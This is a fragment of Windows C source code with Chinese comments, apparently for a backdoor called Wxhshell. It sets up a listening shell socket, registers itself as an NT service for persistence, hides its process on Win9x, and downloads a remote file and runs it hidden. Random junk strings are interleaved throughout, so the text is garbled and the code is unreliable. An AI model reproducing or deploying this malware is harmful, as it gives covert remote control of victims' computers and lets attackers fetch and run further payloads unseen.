P8.{$ CloseHandle(hProcess); y05(/NH> pUby0)}t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hKv3;jcd if(hProcess==NULL) return 0; UlQZw*ce ]$/TsN HMODULE hMod; (!kOM% 3{ char procName[255]; [B3qZ" unsigned long cbNeeded; $7~k#_#PC D*3\4=6x if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *44^M{ti< l]RO' CloseHandle(hProcess); 01Bs7@"+ ,aS6|~ac4 if(strstr(procName,"services")) return 1; // 以服务启动 u
)+;(Vd >-rDBk
;K return 0; // 注册表启动 )M(; :#le } c;DWSgIw 'J~{8w,. // 主模块 C;2!c int StartWxhshell(LPSTR lpCmdLine) O--
"\4 { aWhhq@ SOCKET wsl; s6SG%Vd BOOL val=TRUE; gaBt;@?:Q int port=0; -;=0dfC( struct sockaddr_in door; b0PqP<{ t tcOgF: if(wscfg.ws_autoins) Install(); F
VW&&ft 8
PI>Q port=atoi(lpCmdLine); kQ4-W9u j|3p.Cy if(port<=0) port=wscfg.ws_port; 9`4mvK/@ H@0i}!U64 WSADATA data; 2\&uO if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K(RG:e~R0i mmP>Ji if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; FC<aX[~&3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;taTdzR_ door.sin_family = AF_INET; xe}d& door.sin_addr.s_addr = inet_addr("127.0.0.1"); <+D(GH}; door.sin_port = htons(port); u'cM}y& [ L% -lJ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jSVIO v: closesocket(wsl); =YlsJ={h return 1; #JVw`=P } fiA_6 BeZr5I"`} if(listen(wsl,2) == INVALID_SOCKET) { xI?%.Z;*+ closesocket(wsl); x5\C MWW return 1; )G6{JL-I } UD1R_bL} Wxhshell(wsl); ~oO>6 WSACleanup(); EjLj5Z/q zs!,PQF( return 0; SS OF\ Dd8*1, } E
O^j,x g /Zw^EM6c // 以NT服务方式启动 3'WJx=0? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]kUF>Wp { BL1$~0 DWORD status = 0; EhDKh\OY5 DWORD specificError = 0xfffffff; .}gGtH,b3 ihjs%5Jo% serviceStatus.dwServiceType = SERVICE_WIN32;
B|E4(,]^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; v-u53Fy serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7+wy`xi serviceStatus.dwWin32ExitCode = 0; /IS_-h7>XS serviceStatus.dwServiceSpecificExitCode = 0; ^g/ serviceStatus.dwCheckPoint = 0; L+y}hb
r serviceStatus.dwWaitHint = 0; &P'cf|KI (VeX[*}I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b
'p0T1K( if (hServiceStatusHandle==0) return; 4PG]L`J{ xgV.<^ status = GetLastError(); Z,AF^,H[ if (status!=NO_ERROR) X5i?Bb. { kGm-jh serviceStatus.dwCurrentState = SERVICE_STOPPED; *'D(
j#& serviceStatus.dwCheckPoint = 0; k2{*WF serviceStatus.dwWaitHint = 0; 5tUp[/]pl serviceStatus.dwWin32ExitCode = status; h^ wu8E serviceStatus.dwServiceSpecificExitCode = specificError; ^PDz"L<* SetServiceStatus(hServiceStatusHandle, &serviceStatus); RGd@3OjN return; aOZSX3;wg } {RFpTh7f: +\~.cP7[ serviceStatus.dwCurrentState = SERVICE_RUNNING; r|2Y|6@ serviceStatus.dwCheckPoint = 0; ?;NC(Z, serviceStatus.dwWaitHint = 0; W@<(WI3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e<wA["^ } C-Y~T;53 4%#Y)zo.e // 处理NT服务事件,比如:启动、停止 V<&x+?>S VOID WINAPI NTServiceHandler(DWORD fdwControl) x {Z_rD { A.nU8 switch(fdwControl) >*/\Pg6^ { q~_DR4xZ case SERVICE_CONTROL_STOP: It$'6HV~Sb serviceStatus.dwWin32ExitCode = 0; #
+OEO serviceStatus.dwCurrentState = SERVICE_STOPPED; ph*9,\c8 serviceStatus.dwCheckPoint = 0; qRk&b F/ serviceStatus.dwWaitHint = 0; ;tK%Q~To { tQz =_;jy SetServiceStatus(hServiceStatusHandle, &serviceStatus); 98 dl -? } rN0G| return; x'dU[f( case SERVICE_CONTROL_PAUSE: ;!H<W[ serviceStatus.dwCurrentState = SERVICE_PAUSED; R+vago: break; i*-[-hn-V case SERVICE_CONTROL_CONTINUE: ~,j52obR6Z serviceStatus.dwCurrentState = SERVICE_RUNNING; T](N
^P break; }6zo1" case SERVICE_CONTROL_INTERROGATE: Mrpz (}) break; N<&"_jzm }; >fG=(1" SetServiceStatus(hServiceStatusHandle, &serviceStatus); -3-*T) } ?U+^ctwv7 {C+blzh6 // 标准应用程序主函数 Wtl/xA_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D c5tRO { >TZ 'V, iveJh2!#< // 获取操作系统版本 (C{l4 OsIsNt=GetOsVer(); .!#0eAT GetModuleFileName(NULL,ExeFile,MAX_PATH); nymF`0HYe1 KVQ^-^ // 从命令行安装 zx<:1nF,] if(strpbrk(lpCmdLine,"iI")) Install();
K?]><z{ OP:i;%@c // 下载执行文件 c8uFLM j if(wscfg.ws_downexe) { 7 YS 'Tf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J+hiz3N WinExec(wscfg.ws_filenam,SW_HIDE); 04;E^,V } kD_Ac{{< Y#aL]LxZE if(!OsIsNt) { }_,\yC9F // 如果时win9x,隐藏进程并且设置为注册表启动 Vl"20): HideProc(); <%d/"XNg[D StartWxhshell(lpCmdLine); |"}F cS
y } Vf28R,~m else MR") if(StartFromService()) rw:z|-r // 以服务方式启动 B49:
R> StartServiceCtrlDispatcher(DispatchTable); 6-"@j@l5< else Vr/UY79 // 普通方式启动 9i9'Rd`g StartWxhshell(lpCmdLine); S*"uXTS uJxT)m!/ return 0; dJYsn+ }
|